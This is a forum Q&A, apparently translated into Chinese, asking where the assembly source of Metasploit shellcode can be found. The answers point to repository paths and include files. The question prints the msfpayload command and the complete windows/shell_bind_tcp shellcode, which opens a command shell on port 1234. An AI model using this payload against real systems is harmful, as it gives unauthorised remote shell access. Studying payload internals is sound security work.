metasploit 有效载荷的源代码(shellcodes)

信息安全 元数据
2021-09-07 20:05:16

有没有办法查看 metasploit shellcode 的源代码。

例如:

root@kali:~# msfpayload windows/shell_bind_tcp EXITFUNC=seh LPORT=1234 C
/*
 * windows/shell_bind_tcp - 341 bytes
 * http://www.metasploit.com
 * VERBOSE=false, LPORT=1234, RHOST=, EXITFUNC=seh, 
 * InitialAutoRunScript=, AutoRunScript=
 */
unsigned char buf[] = 
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2"
"\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"
"\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3"
"\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d"
"\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58"
"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b"
"\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff"
"\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68"
"\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01"
"\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50"
"\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x89\xc7"
"\x31\xdb\x53\x68\x02\x00\x04\xd2\x89\xe6\x6a\x10\x56\x57\x68"
"\xc2\xdb\x37\x67\xff\xd5\x53\x57\x68\xb7\xe9\x38\xff\xff\xd5"
"\x53\x53\x57\x68\x74\xec\x3b\xe1\xff\xd5\x57\x89\xc7\x68\x75"
"\x6e\x4d\x61\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3\x57\x57\x57"
"\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c\x01\x01"
"\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56\x46\x56\x4e"
"\x56\x56\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89\xe0\x4e\x56"
"\x46\xff\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb\xfe\x0e\x32\xea"
"\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75"
"\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5";

有没有办法查看缓冲区(shellcode)的源代码(C 或程序集)?或者也许可以作为参数缓冲区和返回代码的工具。

非常感谢您的帮助!

2个回答

Metasploit shellcode的源代码可以在目录external/source/shellcode/windows/x86/文件夹中找到。根据 shellcode 的类型,asm 文件被放置在单独的子文件夹中。例如,shellcode windows/shell_bind_tcp 的源代码位于:

source/shellcode/windows/x86/src/single/single_shell_bind_tcp.asm

如果您查看文件的内容,它指的是包含在主 shell_bind_tcp.asm 源文件中的其他文件。shell_bind_tcp.asm 文件中包含的第一个文件是 block_api.asm 文件,其中设置执行 shellcode 的环境的主要逻辑。include 行如下所示:

%include "./src/block/block_api.asm"

包含的下一个块是设置 TCP 传输的 block_tcp,然后是通过(具有讽刺意味的)exit_funk.asm 的 ExitFunction 逻辑。

查看Raphael Mudge 的Modifying Metasploit 的 Stager Shellcode博客文章,了解如何编辑和编译修改后的 shellcode。shellcode 的源文件已记录在案,因此您可以轻松地按照汇编说明中的内容进行操作。

我们的计划是将大多数 Windows stager 迁移到 Metasm,因此源代码被移动到各种 mixin 而不是静态汇编文件中。例如,reverse_http(s) 现在在https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/payload/windows/reverse_http.rb#L152中实现